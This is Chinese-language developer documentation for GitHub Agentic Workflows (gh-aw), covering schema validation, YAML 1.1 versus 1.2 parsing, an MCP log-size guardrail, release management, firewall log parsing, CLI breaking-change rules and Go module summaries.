✗ error: Unknown properties: toolz, engnie, permisions. Valid fields are: tools, engine, permissions, ...
验证流程
graph LR
A[Read workflow frontmatter] --> B[Parse YAML]
B --> C[Validate against JSON schema]
C --> D{Valid?}
D -->|Yes| E[Continue compilation]
D -->|No| F[Provide detailed error]
F --> G[Show invalid fields]
F --> H[Show valid field names]
嵌入二进制文件的 Schema
Schema 使用 //go:embed 指令嵌入 Go 二进制文件:
//go:embed schemas/main_workflow_schema.json
var mainWorkflowSchema string
这意味着:
- Schema 变更需要运行
make build才能生效 - Schema 在运行时而非构建时进行验证
- 无需随二进制文件分发外部 JSON 文件
添加新字段
向 schema 添加新字段时:
- 使用新属性定义更新 schema JSON 文件
- 使用
make build重新构建二进制文件 - 添加测试用例以验证新字段是否有效
- 如果该字段面向用户,请更新文档
YAML 兼容性
YAML 有两个主要版本,它们对布尔值的解析行为互不兼容,会影响工作流验证。
核心问题
YAML 1.1 布尔值解析问题
在 YAML 1.1 中,某些纯字符串会自动转换为布尔值。工作流触发键 on: 可能会被误解为布尔值 true,而不是字符串 "on"。
示例:
# Python yaml.safe_load (YAML 1.1 parser)
import yaml
content = """
on:
issues:
types: [opened]
"""
result = yaml.safe_load(content)
print(result)
# Output: {True: {'issues': {'types': ['opened']}}}
# ^^^^ The key is boolean True, not string "on"!
使用基于 Python 的工具验证工作流时,这会产生误报。
YAML 1.2 的正确行为
YAML 1.2 解析器会将 on、off、yes 和 no 视为普通字符串,而非布尔值。只有显式的布尔字面值 true 和 false 才会被视为布尔值。
示例:
// Go goccy/go-yaml (YAML 1.2 parser) - Used by gh-aw
var result map[string]interface{}
yaml.Unmarshal([]byte(content), &result)
fmt.Printf("%+v\n", result)
// Output: map[on:map[issues:map[types:[opened]]]]
// ^^^ The key is string "on" ✓
gh-aw 如何处理此问题
GitHub Agentic Workflows 使用 goccy/go-yaml v1.18.0,这是一个符合 YAML 1.2 标准的解析器:
- ✅
on:会被正确解析为字符串键,而非布尔值 - ✅ 工作流 frontmatter 验证可正常工作
- ✅ 与 GitHub Actions YAML 兼容(GitHub Actions 也采用 YAML 1.2 解析)
兼容性流程
graph TD
A[Workflow File] --> B{Parser Type?}
B -->|YAML 1.1| C[Python yaml.safe_load]
B -->|YAML 1.2| D[gh-aw / goccy/go-yaml]
C --> E[on: parsed as True]
D --> F[on: parsed as string]
E --> G[False Positive]
F --> H[Correct Validation]
受影响的关键字
YAML 1.1 会将以下内容视为布尔值(解析为 true 或 false):
解析为 true: on、yes、y、Y、YES、Yes、ON、On
解析为 false: off、no、n、N、NO、No、OFF、Off
YAML 1.2 会将以上所有内容视为字符串。只有以下内容是布尔值:true、false
建议
面向工作流作者
-
使用 gh-aw 编译器进行验证:
gh aw compile workflow.md -
不要依赖 Python yaml.safe_load 进行验证——它会对
on:触发键产生误报。 -
表示布尔值时使用显式布尔值:
enabled: true # Explicit boolean disabled: false # Explicit boolean # Avoid for boolean values: enabled: yes # Might be confusing across parsers disabled: no # Might be confusing across parsers
面向工具开发者
-
在集成 gh-aw 时使用 YAML 1.2 解析器:
- Go:
github.com/goccy/go-yaml - Python:
ruamel.yaml(使用 YAML 1.2 模式) - JavaScript:
yaml软件包 v2+(默认使用 YAML 1.2) - Ruby:
Psych(Ruby 2.6+ 默认使用 YAML 1.2)
- Go:
-
在工具中注明解析器版本
-
考虑添加兼容模式,以便在 YAML 1.1 和 YAML 1.2 解析之间切换
MCP 日志防护机制
MCP 服务的 logs 命令包含自动防护机制,可避免获取工作流日志时响应内容过多。
工作原理
graph TD
A[logs command called] --> B[Generate output]
B --> C{Output size check}
C -->|≤ 12000 tokens| D[Return full JSON data]
C -->|> 12000 tokens| E[Return guardrail message]
E --> F[Include schema description]
E --> G[Provide suggested jq queries]
正常运行(输出 ≤ 令牌限制)
当输出在令牌限制内(默认值:12000 个令牌)时,命令会返回完整的 JSON 数据:
{
"summary": {
"total_runs": 5,
"total_duration": "2h30m",
"total_tokens": 45000,
"total_cost": 0.23
},
"runs": [...],
"tool_usage": [...]
}
触发护栏(输出 > 令牌限制)
当输出超过令牌限制时,命令会返回结构化响应,其中包含:
{
"message": "⚠️ Output size (15000 tokens) exceeds the limit (12000 tokens). To reduce output size, use the 'jq' parameter with one of the suggested queries below.",
"output_tokens": 15000,
"output_size_limit": 12000,
"schema": { ... },
"suggested_queries": [
{
"description": "Get only the summary statistics",
"query": ".summary",
"example": "Use jq parameter: \".summary\""
},
...
]
}
配置令牌限制
默认限制为 12000 个令牌(约 48KB 文本)。使用 max_tokens 参数进行自定义:
{
"name": "logs",
"arguments": {
"count": 100,
"max_tokens": 20000
}
}
令牌估算约为每个令牌 4 个字符(OpenAI 的经验法则)。
使用 jq 参数
使用 jq 语法筛选输出:
仅获取摘要统计信息:
{ "jq": ".summary" }
获取运行 ID 和基本信息:
{ "jq": ".runs | map({database_id, workflow_name, status})" }
仅获取失败的运行:
{ "jq": ".runs | map(select(.conclusion == \"failure\"))" }
获取令牌使用量较高的运行:
{ "jq": ".runs | map(select(.token_usage > 10000))" }
实现详情
常量:
DefaultMaxMCPLogsOutputTokens:12000 个令牌(默认限制)CharsPerToken:每个令牌 4 个字符(估算系数)
文件:
pkg/cli/mcp_logs_guardrail.go- 护栏的核心实现pkg/cli/mcp_logs_guardrail_test.go- 单元测试pkg/cli/mcp_logs_guardrail_integration_test.go- 集成测试pkg/cli/mcp_server.go- 与 MCP 服务集成
优势
- 防止给 AI 模型返回过长的响应
- 提供包含具体筛选条件的指导
- 通过架构描述实现自描述
- 通过 jq 筛选保留功能
- 清晰说明触发护栏的原因
发布管理
该项目采用受 @changesets/cli 启发的简约变更集发布系统。
命令
version(仅预览)
version 命令在预览模式下运行,不会修改文件:
node scripts/changeset.js version
# Or
make version
该命令会:
- 从
.changeset/目录读取所有变更集文件 - 确定适当的版本升级级别(major > minor > patch)
- 显示 CHANGELOG 条目的预览
- 不会修改任何文件
release [type] [--yes|-y]
release 命令会创建实际发布版本:
node scripts/changeset.js release
# Or (recommended - runs tests first)
make release
该命令会:
- 检查前置条件(工作树干净、位于 main 分支)
- 使用新版本和变更内容更新
CHANGELOG.md - 删除已处理的变更集文件(如果存在)
- 自动提交变更
- 为此版本创建并推送 git 标签
标志:
--yes或-y:跳过确认提示
发布工作流
graph TD
A[Add changeset files] --> B[Preview with version command]
B --> C{Changes look good?}
C -->|No| D[Modify changesets]
D --> B
C -->|Yes| E[Run release command]
E --> F[Update CHANGELOG.md]
F --> G[Delete changeset files]
G --> H[Commit changes]
H --> I[Create git tag]
I --> J[Push tag to remote]
变更集文件格式
变更集文件是 .changeset/ 目录中的 Markdown 文件,带有 YAML 前置元数据:
"gh-aw": patch
Brief description of the change
升级类型:
patch- Bug 修复和小幅变更(0.0.x)minor- 新功能,向后兼容(0.x.0)major- 破坏性变更(x.0.0)
发布前置条件
运行 release 时,脚本会检查:
- 工作树干净: 所有变更必须已提交或暂存
- 位于 main 分支: 必须位于
main分支才能创建发布版本
无变更集时发布
对于包含依赖项更新的维护版本:
# Defaults to patch release
node scripts/changeset.js release
# Or specify release type explicitly
node scripts/changeset.js release minor
# Skip confirmation
node scripts/changeset.js release --yes
脚本会:
- 如果未指定类型,则默认发布 patch 版本
- 向 CHANGELOG.md 添加通用的“维护版本”条目
- 提交变更
- 创建 git 标签
- 将标签推送到远程
防火墙日志解析
防火墙日志解析器可分析 Agent 工作流运行产生的网络流量日志。
日志格式
防火墙日志采用空格分隔格式,包含 10 个字段:
timestamp client_ip:port domain dest_ip:port proto method status decision url user_agent
示例:
1761332530.474 172.30.0.20:35288 api.enterprise.githubcopilot.com:443 140.82.112.22:443 1.1 CONNECT 200 TCP_TUNNEL:HIER_DIRECT api.enterprise.githubcopilot.com:443 "-"
字段说明
- timestamp - 带小数部分的 Unix 时间戳(例如,“1761332530.474”)
- client_ip:port - 客户端 IP 和端口,或“-”
- domain - 目标域名:端口,或“-”
- dest_ip:port - 目标 IP 和端口,或“-”
- proto - 协议版本(例如,“1.1”),或“-”
- method - HTTP 方法(例如,“CONNECT”、“GET”),或“-”
- status - HTTP 状态码(例如,“200”、“403”),或“0”
- decision - 代理决策(例如,“TCP_TUNNEL:HIER_DIRECT”),或“-”
- url - 请求 URL,或“-”
- user_agent - 用户代理字符串(带引号),或“-”
请求分类
graph TD
A[Parse log line] --> B{Check status}
B -->|200, 206, 304| C[Allowed]
B -->|403, 407| D[Denied]
B -->|Other| E{Check decision}
E -->|Contains TCP_TUNNEL, TCP_HIT, TCP_MISS| C
E -->|Contains NONE_NONE, TCP_DENIED| D
E -->|Other| F[Denied by default]
允许的指标:
- 状态码:200、206、304
- 包含以下内容的判定:TCP_TUNNEL、TCP_HIT、TCP_MISS
拒绝的指标:
- 状态码:403、407
- 包含以下内容的判定:NONE_NONE、TCP_DENIED
默认值: 拒绝(分类模糊时出于安全考虑)
输出示例
控制台输出
🔥 Firewall Log Analysis
Total Requests : 8
Allowed Requests : 5
Denied Requests : 3
Allowed Domains:
✓ api.enterprise.githubcopilot.com:443 (1 requests)
✓ api.github.com:443 (2 requests)
Blocked Domains:
✗ blocked-domain.example.com:443 (2 requests)
JSON 输出
{
"firewall_log": {
"total_requests": 8,
"allowed_requests": 5,
"blocked_requests": 3,
"allowed_domains": [
"api.enterprise.githubcopilot.com:443",
"api.github.com:443"
],
"blocked_domains": [
"blocked-domain.example.com:443"
],
"requests_by_domain": {
"api.github.com:443": {
"allowed": 2,
"blocked": 0
}
}
}
}
集成点
logs 和 audit 命令会自动:
- 在运行目录中搜索防火墙日志
- 解析
firewall-logs/或squid-logs/目录中的所有.log文件 - 汇总所有日志文件中的统计数据
- 在控制台和 JSON 输出中包含防火墙分析结果
- 将结果缓存到
run_summary.json
实现
文件:
pkg/cli/firewall_log.go(396 行)- 核心解析器实现pkg/cli/firewall_log_test.go(437 行)- 单元测试pkg/cli/firewall_log_integration_test.go(238 行)- 集成测试
测试:
# Unit tests
make test-unit
# Integration tests
go test ./pkg/cli -run TestFirewallLogIntegration
CLI 重大变更规则
本节定义了 gh-aw CLI 中哪些情况构成重大变更。这些规则有助于维护者和贡献者在代码审查期间评估变更,并确保用户使用稳定。
概述
重大变更在开发和审查期间需要特别关注,因为它们可能会影响现有用户工作流。本节提供了识别重大变更的明确标准,以及处理这些变更的指导。
变更类别
重大变更(主版本升级)
以下变更始终属于重大变更,并要求:
- 变更集类型为
major - 在 CHANGELOG.md 中提供迁移指导
- 由维护者进行审查
1. 删除或重命名命令
属于重大变更的情况:
- 完全删除命令(例如,删除
gh aw logs) - 重命名命令且不提供别名(例如,
gh aw compile→gh aw build) - 删除子命令(例如,删除
gh aw mcp inspect)
过往版本中的示例:
- 从 compile 命令中删除
--no-instructions标志(v0.17.0)
2. 删除或重命名标志
属于重大变更的情况:
- 删除标志(例如,删除
--strict标志) - 更改标志名称且不保持向后兼容(例如,
--output→--out) - 更改标志的短形式(例如,
-o→-f) - 将原本有默认值的必需标志改为不再提供默认值
过往版本中的示例:
- 移除 Copilot 操作中的 GITHUB_TOKEN 回退机制(v0.24.0)
3. 输出格式变更
属于重大变更的情况:
- 更改 JSON 输出的结构(删除字段、重命名字段)
- 更改用户可能按位置解析的表格输出中的列顺序
- 更改特定场景下的退出码
- 删除脚本可能依赖的输出字段
过往版本中的示例:
- 更新 status 命令的 JSON 输出结构(v0.21.0):将
agent替换为engine_id,删除frontmatter和prompt字段
4. 行为变更
属于重大变更的情况:
- 更改标志的默认值(例如,
strict: false→strict: true) - 更改身份验证要求
- 更改权限要求
- 更改现有选项的语义
过往版本中的示例:
- 将严格模式的默认值从 false 改为 true(v0.31.0)
- 移除每个工具独立的 Squid 代理,统一网络过滤(v0.25.0)
5. 架构变更
属于重大变更的情况:
- 从工作流 frontmatter 架构中删除字段
- 将可选字段改为必需字段
- 更改字段类型(例如,string → object)
- 从枚举中删除允许值
过往版本中的示例:
- 从主 JSON 架构中删除 "defaults" 部分(v0.24.0)
- 删除已弃用的 "claude" 顶层字段(v0.24.0)
非破坏性更改(次要版本或补丁版本升级)
以下更改不会造成破坏性影响,通常需要:
- 新功能使用
minor变更集 - 修复缺陷使用
patch变更集
1. 添加内容
不会造成破坏性影响:
- 添加新命令
- 添加带有合理默认值的新标志
- 为 JSON 输出添加新字段
- 为架构添加新的可选字段
- 为枚举添加新的允许值
- 为新场景添加新的退出码
示例:
- 为 status 命令添加
--json标志(v0.20.0) - 添加 mcp-server 命令(v0.17.0)
2. 弃用
(处理得当时)不会造成破坏性影响:
- 弃用命令(发出警告并保留功能)
- 弃用标志(发出警告并保留功能)
- 弃用架构字段(发出警告并保留功能)
弃用要求:
- 将弃用警告打印到 stderr
- 说明弃用情况和迁移路径
- 至少在一个次要版本发布周期内保留已弃用功能
- 安排在未来的主要版本中移除
3. 缺陷修复
(修复非预期行为时)不会造成破坏性影响:
- 修复不正确的输出
- 修复不正确的退出码
- 修复过于宽松的架构验证
注意:修复用户依赖的缺陷可能需要发布破坏性更改通知。
4. 性能改进
不会造成破坏性影响:
- 加快执行速度
- 减少内存使用
- 优化并行处理
5. 文档更改
不会造成破坏性影响:
- 改进帮助文本
- 添加示例
- 说明错误消息
决策树:这是否属于破坏性更改?
graph TD
A[CLI Change Proposed] --> B{Removing or renaming<br/>command/subcommand/flag?}
B -->|Yes| BREAK1[BREAKING]
B -->|No| C{Modifying JSON output<br/>structure?}
C -->|Yes| BREAK2[BREAKING]
C -->|No| D{Altering default<br/>behavior?}
D -->|Yes| BREAK3[BREAKING]
D -->|No| E{Modifying exit codes<br/>for existing scenarios?}
E -->|Yes| BREAK4[BREAKING]
E -->|No| F{Removing schema fields<br/>or making optional required?}
F -->|Yes| BREAK5[BREAKING]
F -->|No| SAFE[NOT BREAKING]
BREAK1 --> REQ[Requires:<br/>- major changeset<br/>- Migration guide<br/>- Maintainer review]
BREAK2 --> REQ
BREAK3 --> REQ
BREAK4 --> REQ
BREAK5 --> REQ
SAFE --> ACT[Allowed:<br/>- minor for features<br/>- patch for fixes]
贡献者指南
进行 CLI 更改时:
- 实施更改前先查看决策树
- 在变更集中清楚说明破坏性更改
- 为受破坏性更改影响的用户提供迁移指南
- 考虑向后兼容性——能否添加别名,而不是重命名?
- 移除功能前,至少在一个次要版本发布周期内使用弃用警告
破坏性更改的变更集格式:
"gh-aw": major
Remove deprecated `--old-flag` option
**⚠️ Breaking Change**: The `--old-flag` option has been removed.
**Migration guide:**
- If you used `--old-flag value`, use `--new-flag value` instead
- Scripts using this flag will need to be updated
**Reason**: The option was deprecated in v0.X.0 and has been removed to simplify the CLI.
非破坏性更改的变更集格式:
对于新功能:
"gh-aw": minor
Add --json flag to logs command for structured output
对于缺陷修复:
"gh-aw": patch
Fix incorrect exit code when workflow file not found
CLI 更改审查清单
审查者应核实:
- 是否正确识别破坏性更改——此更改是否符合任何破坏性更改标准?
- 变更集类型是否恰当——是否正确标记为 major/minor/patch?
- 是否提供迁移指南——对于破坏性更改,是否有清晰的迁移文档?
- 是否添加弃用警告——如果要弃用,是否会向用户发出警告?
- 是否考虑向后兼容性——能否在不破坏兼容性的情况下完成此更改?
- 是否更新测试——测试是否覆盖更改后的行为?
- 是否更新帮助文本——CLI 帮助是否准确?
退出码标准
CLI 使用标准退出码:
| 退出码 | 含义 | 更改是否会造成破坏性影响 |
|---|---|---|
| 0 | 成功 | 否(添加新退出码没问题) |
| 1 | 一般错误 | 否(用于新错误时) |
| 2 | 用法无效 | 否(用于新检查时) |
破坏性更改:更改现有场景的退出码(例如,将特定错误类型的退出码从 1 改为 2)。
JSON 输出标准
添加或修改 JSON 输出时:
- 未升级主要版本前,绝不移除字段
- 未升级主要版本前,绝不重命名字段
- 未升级主要版本前,绝不更改字段类型
- 添加新字段是安全的——解析器应忽略未知字段
- 添加新的枚举值是安全的——解析器应妥善处理未知值
严格模式和安全性更改
更改严格模式时需特别考虑:
- 将严格模式验证从警告改为拒绝属于破坏性更改(例如,v0.30.0)
- 更改严格模式默认值属于破坏性更改(例如,v0.31.0)
- 添加新的严格模式验证不属于破坏性更改(严格模式最初为选择启用)
参考资料
- 变更集系统:版本管理详情请参阅“发布管理”部分
- CHANGELOG:重大变更示例请参阅
CHANGELOG.md - 语义化版本:https://semver.org/
Go 模块摘要
scratchpad/mods/ 目录包含由 Go Fan 工作流生成的 gh-aw 仓库中 Go 模块使用模式的 AI 生成摘要。
用途
Go 模块摘要提供:
- 模块概览和版本信息
- 使用该模块的文件和 API
- 来自模块 GitHub 仓库的研究发现
- 改进机会(快速改进项、功能机会、最佳实践)
- 文档和变更日志的参考资料
文件命名约定
模块摘要文件遵循统一的命名模式:将 Go 模块路径中的斜杠替换为连字符:
| 模块路径 | 文件名 |
|---|---|
github.com/goccy/go-yaml | goccy-go-yaml.md |
github.com/spf13/cobra | spf13-cobra.md |
github.com/stretchr/testify | stretchr-testify.md |
生成流程
摘要由 Go Fan 工作流生成:
graph LR
A[Scheduled Trigger<br/>Weekdays 7 AM UTC] --> B[Load Cache Memory]
B --> C[Select Next Module<br/>Round-Robin]
C --> D[Analyze Module Usage]
D --> E[Research GitHub Repo]
E --> F[Generate Summary]
F --> G[Write to scratchpad/mods/]
G --> H[Update Cache Memory]
H --> I[Commit & Push]
更新频率:工作日(周一至周五)每天 UTC 时间上午 7 点
轮换选择:工作流使用 cache-memory 跟踪上次分析的模块,确保依次更新每个模块。
使用指南
在代码库中使用 Go 模块时:
- 查看现有摘要,在
scratchpad/mods/中查找特定模块的使用模式和最佳实践 - 升级或重构模块用法时,参考改进机会
- 查阅摘要中提供的 API 文档链接,获取权威参考资料
- 如果模块使用模式发生重大变化,手动更新摘要(工作流将在下次运行时刷新摘要)
摘要内容
每份模块摘要均包含以下部分:
- 模块概览:所用版本及一般用途
- 使用分析:使用该模块的文件和代码位置
- API 范围:所用的函数、类型和方法
- 研究发现:来自模块仓库的信息(最新版本、文档、最佳实践)
- 改进机会:改进模块用法的建议
- 参考资料:文档、变更日志和 GitHub 仓库的链接
**上次更新:**2025-12-01 **维护者:**GitHub Next 团队